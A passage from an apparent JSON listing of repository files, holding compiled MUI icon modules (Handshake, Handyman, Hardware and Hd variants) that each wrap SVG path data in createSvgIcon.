0-.71l3.39-3.39-1.41-1.41-3.39 3.39c-.19.2-.51.19-.71 0-.21-.21-.18-.53 0-.71l3.39-3.39-1.41-1.41-3.39 3.39c-.18.18-.5.21-.71 0-.19-.19-.19-.51 0-.71l3.39-3.39-1.42-1.41-3.39 3.39c-.18.18-.5.21-.71 0-.19-.2-.19-.51 0-.71L9.52 8.4l1.87 1.86c.95.95 2.59.94 3.54 0 .98-.98.98-2.56 0-3.54l-1.86-1.86.28-.28c.78-.78 2.05-.78 2.83 0l4.24 4.24c.78.78.78 2.05 0 2.83zm9.61-6.78c1.56-1.56 1.56-4.09 0-5.66l-4.24-4.24c-1.56-1.56-4.09-1.56-5.66 0l-.28.28-.28-.28c-1.56-1.56-4.09-1.56-5.66 0L2.17 6.71C.75 8.13.62 10.34 1.77 11.9l1.45-1.45c-.39-.75-.26-1.7.37-2.33l3.54-3.54c.78-.78 2.05-.78 2.83 0l3.56 3.56c.18.18.21.5 0 .71s-.53.18-.71 0L9.52 5.57l-5.8 5.79c-.98.97-.98 2.56 0 3.54.39.39.89.63 1.42.7.07.52.3 1.02.7 1.42s.9.63 1.42.7c.07.52.3 1.02.7 1.42s.9.63 1.42.7c.07.54.31 1.03.7 1.42.47.47 1.1.73 1.77.73s1.3-.26 1.77-.73z\"\n}, \"1\")], 'HandshakeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandshakeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.22 19.85c-.18.18-.5.21-.71 0-.18-.18-.21-.5 0-.71l3.39-3.39-1.41-1.41-3.39 3.39c-.19.2-.51.19-.71 0-.21-.21-.18-.53 0-.71l3.39-3.39-1.41-1.41-3.39 3.39c-.18.18-.5.21-.71 0-.19-.19-.19-.51 0-.71l3.39-3.39-1.42-1.41-3.39 3.39c-.18.18-.5.21-.71 0-.19-.2-.19-.51 0-.71L9.52 8.4l1.87 1.86c.95.95 2.59.94 3.54 0 .98-.98.98-2.56 0-3.54l-1.86-1.86.28-.28c.78-.78 2.05-.78 2.83 0l4.24 4.24c.78.78.78 2.05 0 2.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.22 19.85c-.18.18-.5.21-.71 0-.18-.18-.21-.5 0-.71l3.39-3.39-1.41-1.41-3.39 3.39c-.19.2-.51.19-.71 0-.21-.21-.18-.53 0-.71l3.39-3.39-1.41-1.41-3.39 3.39c-.18.18-.5.21-.71 0-.19-.19-.19-.51 0-.71l3.39-3.39-1.42-1.41-3.39 3.39c-.18.18-.5.21-.71 0-.19-.2-.19-.51 0-.71L9.52 8.4l1.87 1.86c.95.95 2.59.94 3.54 0 .98-.98.98-2.56 0-3.54l-1.86-1.86.28-.28c.78-.78 2.05-.78 2.83 0l4.24 4.24c.78.78.78 2.05 0 2.83zm9.61-6.78c1.56-1.56 1.56-4.09 0-5.66l-4.24-4.24c-1.56-1.56-4.09-1.56-5.66 0l-.28.28-.28-.28c-1.56-1.56-4.09-1.56-5.66 0L2.17 6.71C.75 8.13.62 10.34 1.77 11.9l1.45-1.45c-.39-.75-.26-1.7.37-2.33l3.54-3.54c.78-.78 2.05-.78 2.83 0l3.56 3.56c.18.18.21.5 0 .71s-.53.18-.71 0L9.52 5.57l-5.8 5.79c-.98.97-.98 2.56 0 3.54.39.39.89.63 1.42.7.07.52.3 1.02.7 1.42s.9.63 1.42.7c.07.52.3 1.02.7 1.42s.9.63 1.42.7c.07.54.31 1.03.7 1.42.47.47 1.1.73 1.77.73s1.3-.26 1.77-.73z\"\n}, \"1\")], 'HandshakeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Handyman.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.67 18.17-5.3-5.3h-.99l-2.54 2.54v.99l5.3 5.3c.39.39 1.02.39 1.41 0l2.12-2.12c.39-.38.39-1.02 0-1.41\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.34 10.19 1.41-1.41 2.12 2.12c1.17-1.17 1.17-3.07 0-4.24l-3.54-3.54-1.41 1.41V1.71l-.7-.71-3.54 3.54.71.71h2.83l-1.41 1.41 1.06 1.06-2.89 2.89-4.13-4.13V5.06L4.83 2.04 2 4.87 5.03 7.9h1.41l4.13 4.13-.85.85H7.6l-5.3 5.3c-.39.39-.39 1.02 0 1.41l2.12 2.12c.39.39 1.02.39 1.41 0l5.3-5.3v-2.12l5.15-5.15z\"\n}, \"1\")], 'Handyman');"
  },
  {
    "path": "packages/mui-icons-material/lib/Handyman.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.67 18.17-5.3-5.3h-.99l-2.54 2.54v.99l5.3 5.3c.39.39 1.02.39 1.41 0l2.12-2.12c.39-.38.39-1.02 0-1.41\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.34 10.19 1.41-1.41 2.12 2.12c1.17-1.17 1.17-3.07 0-4.24l-3.54-3.54-1.41 1.41V1.71l-.7-.71-3.54 3.54.71.71h2.83l-1.41 1.41 1.06 1.06-2.89 2.89-4.13-4.13V5.06L4.83 2.04 2 4.87 5.03 7.9h1.41l4.13 4.13-.85.85H7.6l-5.3 5.3c-.39.39-.39 1.02 0 1.41l2.12 2.12c.39.39 1.02.39 1.41 0l5.3-5.3v-2.12l5.15-5.15z\"\n}, \"1\")], 'Handyman');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandymanOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.67 18.17-5.3-5.3h-.99l-2.54 2.54v.99l5.3 5.3c.39.39 1.02.39 1.41 0l2.12-2.12c.39-.38.39-1.02 0-1.41m-2.83 1.42-4.24-4.24.71-.71 4.24 4.24z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.34 10.19 1.41-1.41 2.12 2.12c1.17-1.17 1.17-3.07 0-4.24l-3.54-3.54-1.41 1.41V1.71l-.7-.71-3.54 3.54.71.71h2.83l-1.41 1.41 1.06 1.06-2.89 2.89-4.13-4.13V5.06L4.83 2.04 2 4.87 5.03 7.9h1.41l4.13 4.13-.85.85H7.6l-5.3 5.3c-.39.39-.39 1.02 0 1.41l2.12 2.12c.39.39 1.02.39 1.41 0l5.3-5.3v-2.12l5.15-5.15zm-7.98 5.15-4.24 4.24-.71-.71 4.24-4.24z\"\n}, \"1\")], 'HandymanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandymanOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.67 18.17-5.3-5.3h-.99l-2.54 2.54v.99l5.3 5.3c.39.39 1.02.39 1.41 0l2.12-2.12c.39-.38.39-1.02 0-1.41m-2.83 1.42-4.24-4.24.71-.71 4.24 4.24z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.34 10.19 1.41-1.41 2.12 2.12c1.17-1.17 1.17-3.07 0-4.24l-3.54-3.54-1.41 1.41V1.71l-.7-.71-3.54 3.54.71.71h2.83l-1.41 1.41 1.06 1.06-2.89 2.89-4.13-4.13V5.06L4.83 2.04 2 4.87 5.03 7.9h1.41l4.13 4.13-.85.85H7.6l-5.3 5.3c-.39.39-.39 1.02 0 1.41l2.12 2.12c.39.39 1.02.39 1.41 0l5.3-5.3v-2.12l5.15-5.15zm-7.98 5.15-4.24 4.24-.71-.71 4.24-4.24z\"\n}, \"1\")], 'HandymanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandymanRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.67 18.17-4.72-4.72c-.48-.48-.99-.59-1.58-.59l-2.54 2.54c0 .59.11 1.11.59 1.58l4.72 4.72c.39.39 1.02.39 1.41 0l2.12-2.12c.39-.38.39-1.02 0-1.41\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.63 9.49c.39.39 1.02.39 1.41 0l.71-.71 2.12 2.12c1.17-1.17 1.17-3.07 0-4.24l-2.83-2.83a.996.996 0 0 0-1.41 0l-.71.71V2c0-.62-.76-.95-1.21-.5l-2.54 2.54c-.45.45-.12 1.21.5 1.21h2.54l-.71.71c-.39.39-.39 1.02 0 1.41l.35.35-2.89 2.89-4.11-4.13v-1c0-.27-.11-.52-.29-.71L5.54 2.74a.996.996 0 0 0-1.41 0L2.71 4.16c-.39.39-.39 1.02 0 1.41L4.73 7.6c.19.19.44.29.71.29h1l4.13 4.13-.85.85h-1.3c-.53 0-1.04.21-1.41.59l-4.72 4.72c-.39.39-.39 1.02 0 1.41l2.12 2.12c.39.39 1.02.39 1.41 0l4.72-4.72c.38-.38.59-.88.59-1.41v-1.29l5.15-5.15z\"\n}, \"1\")], 'HandymanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandymanRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.67 18.17-4.72-4.72c-.48-.48-.99-.59-1.58-.59l-2.54 2.54c0 .59.11 1.11.59 1.58l4.72 4.72c.39.39 1.02.39 1.41 0l2.12-2.12c.39-.38.39-1.02 0-1.41\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.63 9.49c.39.39 1.02.39 1.41 0l.71-.71 2.12 2.12c1.17-1.17 1.17-3.07 0-4.24l-2.83-2.83a.996.996 0 0 0-1.41 0l-.71.71V2c0-.62-.76-.95-1.21-.5l-2.54 2.54c-.45.45-.12 1.21.5 1.21h2.54l-.71.71c-.39.39-.39 1.02 0 1.41l.35.35-2.89 2.89-4.11-4.13v-1c0-.27-.11-.52-.29-.71L5.54 2.74a.996.996 0 0 0-1.41 0L2.71 4.16c-.39.39-.39 1.02 0 1.41L4.73 7.6c.19.19.44.29.71.29h1l4.13 4.13-.85.85h-1.3c-.53 0-1.04.21-1.41.59l-4.72 4.72c-.39.39-.39 1.02 0 1.41l2.12 2.12c.39.39 1.02.39 1.41 0l4.72-4.72c.38-.38.59-.88.59-1.41v-1.29l5.15-5.15z\"\n}, \"1\")], 'HandymanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandymanSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.37 12.87h-.99l-2.54 2.54v.99l6.01 6.01 3.54-3.54z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.34 10.19 1.41-1.41 2.12 2.12c1.17-1.17 1.17-3.07 0-4.24l-3.54-3.54-1.41 1.41V1.71l-.7-.71-3.54 3.54.71.71h2.83l-1.41 1.41 1.06 1.06-2.89 2.89-4.13-4.13V5.06L4.83 2.04 2 4.87 5.03 7.9h1.41l4.13 4.13-.85.85H7.6l-6.01 6.01 3.54 3.54 6.01-6.01V14.3l5.15-5.15z\"\n}, \"1\")], 'HandymanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandymanSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.37 12.87h-.99l-2.54 2.54v.99l6.01 6.01 3.54-3.54z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.34 10.19 1.41-1.41 2.12 2.12c1.17-1.17 1.17-3.07 0-4.24l-3.54-3.54-1.41 1.41V1.71l-.7-.71-3.54 3.54.71.71h2.83l-1.41 1.41 1.06 1.06-2.89 2.89-4.13-4.13V5.06L4.83 2.04 2 4.87 5.03 7.9h1.41l4.13 4.13-.85.85H7.6l-6.01 6.01 3.54 3.54 6.01-6.01V14.3l5.15-5.15z\"\n}, \"1\")], 'HandymanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandymanTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.66 14.64-4.25 4.24.71.71 4.24-4.25zm5.9357.7053.7071-.7071 4.2427 4.2426-.7071.7071z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.67 18.17-5.3-5.3h-.99l-2.54 2.54v.99l5.3 5.3c.39.39 1.02.39 1.41 0l2.12-2.12c.39-.38.39-1.02 0-1.41m-2.83 1.42-4.24-4.24.71-.71 4.24 4.24z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.34 10.19 1.41-1.41 2.12 2.12c1.17-1.17 1.17-3.07 0-4.24l-3.54-3.54-1.41 1.41V1.71l-.7-.71-3.54 3.54.71.71h2.83l-1.41 1.41 1.06 1.06-2.89 2.89-4.13-4.13V5.06L4.83 2.04 2 4.87 5.03 7.9h1.41l4.13 4.13-.85.85H7.6l-5.3 5.3c-.39.39-.39 1.02 0 1.41l2.12 2.12c.39.39 1.02.39 1.41 0l5.3-5.3v-2.12l5.15-5.15zm-7.98 5.15-4.24 4.24-.71-.71 4.24-4.24z\"\n}, \"2\")], 'HandymanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandymanTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.66 14.64-4.25 4.24.71.71 4.24-4.25zm5.9357.7053.7071-.7071 4.2427 4.2426-.7071.7071z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.67 18.17-5.3-5.3h-.99l-2.54 2.54v.99l5.3 5.3c.39.39 1.02.39 1.41 0l2.12-2.12c.39-.38.39-1.02 0-1.41m-2.83 1.42-4.24-4.24.71-.71 4.24 4.24z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.34 10.19 1.41-1.41 2.12 2.12c1.17-1.17 1.17-3.07 0-4.24l-3.54-3.54-1.41 1.41V1.71l-.7-.71-3.54 3.54.71.71h2.83l-1.41 1.41 1.06 1.06-2.89 2.89-4.13-4.13V5.06L4.83 2.04 2 4.87 5.03 7.9h1.41l4.13 4.13-.85.85H7.6l-5.3 5.3c-.39.39-.39 1.02 0 1.41l2.12 2.12c.39.39 1.02.39 1.41 0l5.3-5.3v-2.12l5.15-5.15zm-7.98 5.15-4.24 4.24-.71-.71 4.24-4.24z\"\n}, \"2\")], 'HandymanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hardware.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 3-3 3V3H9C6.24 3 4 5.24 4 8h5v3h6V8l3 3h2V3zM9 13v7c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-7z\"\n}), 'Hardware');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hardware.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 3-3 3V3H9C6.24 3 4 5.24 4 8h5v3h6V8l3 3h2V3zM9 13v7c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-7z\"\n}), 'Hardware');"
  },
  {
    "path": "packages/mui-icons-material/lib/HardwareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 3-3 3V3H9C6.24 3 4 5.24 4 8h5v12c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V8l3 3h2V3zm-5 16h-2v-6h2zm-2-8V6H6.77C7.32 5.39 8.11 5 9 5h4v6z\"\n}), 'HardwareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HardwareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 3-3 3V3H9C6.24 3 4 5.24 4 8h5v12c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V8l3 3h2V3zm-5 16h-2v-6h2zm-2-8V6H6.77C7.32 5.39 8.11 5 9 5h4v6z\"\n}), 'HardwareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HardwareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.59 3.41 15 6V5c0-1.1-.9-2-2-2H9C6.24 3 4 5.24 4 8h5v3h6V8l2.59 2.59c.26.26.62.41 1 .41h.01c.77 0 1.4-.63 1.4-1.41V4.41C20 3.63 19.37 3 18.59 3h-.01c-.37 0-.73.15-.99.41M9 13v7c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-7z\"\n}), 'HardwareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HardwareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.59 3.41 15 6V5c0-1.1-.9-2-2-2H9C6.24 3 4 5.24 4 8h5v3h6V8l2.59 2.59c.26.26.62.41 1 .41h.01c.77 0 1.4-.63 1.4-1.41V4.41C20 3.63 19.37 3 18.59 3h-.01c-.37 0-.73.15-.99.41M9 13v7c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-7z\"\n}), 'HardwareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HardwareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 3-3 3V3H9C6.24 3 4 5.24 4 8h5v3h6V8l3 3h2V3zM9 13v8h6v-8z\"\n}), 'HardwareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HardwareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 3-3 3V3H9C6.24 3 4 5.24 4 8h5v3h6V8l3 3h2V3zM9 13v8h6v-8z\"\n}), 'HardwareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HardwareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.77 6H11v5h2V5H9c-.89 0-1.68.39-2.23 1M11 13h2v6h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 3-3 3V3H9C6.24 3 4 5.24 4 8h5v12c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V8l3 3h2V3zm-5 16h-2v-6h2zm0-8h-2V6H6.77C7.32 5.39 8.11 5 9 5h4z\"\n}, \"1\")], 'HardwareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HardwareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.77 6H11v5h2V5H9c-.89 0-1.68.39-2.23 1M11 13h2v6h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 3-3 3V3H9C6.24 3 4 5.24 4 8h5v12c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V8l3 3h2V3zm-5 16h-2v-6h2zm0-8h-2V6H6.77C7.32 5.39 8.11 5 9 5h4z\"\n}, \"1\")], 'HardwareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 12H9.5v-2h-2v2H6V9h1.5v2.5h2V9H11zm2-6h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-4zm1.5 4.5h2v-3h-2z\"\n}), 'Hd');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 12H9.5v-2h-2v2H6V9h1.5v2.5h2V9H11zm2-6h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-4zm1.5 4.5h2v-3h-2z\"\n}), 'Hd');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7.5 13h2v2H11V9H9.5v2.5h-2V9H6v6h1.5zM18 14v-4c0-.55-.45-1-1-1h-4v6h4c.55 0 1-.45 1-1m-1.5-.5h-2v-3h2z\"\n}), 'HdOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7.5 13h2v2H11V9H9.5v2.5h-2V9H6v6h1.5zM18 14v-4c0-.55-.45-1-1-1h-4v6h4c.55 0 1-.45 1-1m-1.5-.5h-2v-3h2z\"\n}), 'HdOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.75 12c-.41 0-.75-.34-.75-.75V13h-2v1.25c0 .41-.34.75-.75.75S6 14.66 6 14.25v-4.5c0-.41.34-.75.75-.75s.75.34.75.75v1.75h2V9.75c0-.41.34-.75.75-.75s.75.34.75.75v4.5c0 .41-.34.75-.75.75m3.25-6H17c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-3.5c-.28 0-.5-.22-.5-.5v-5c0-.28.22-.5.5-.5m1 4.5h2v-3h-2z\"\n}), 'HdRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdRounded.mjs",
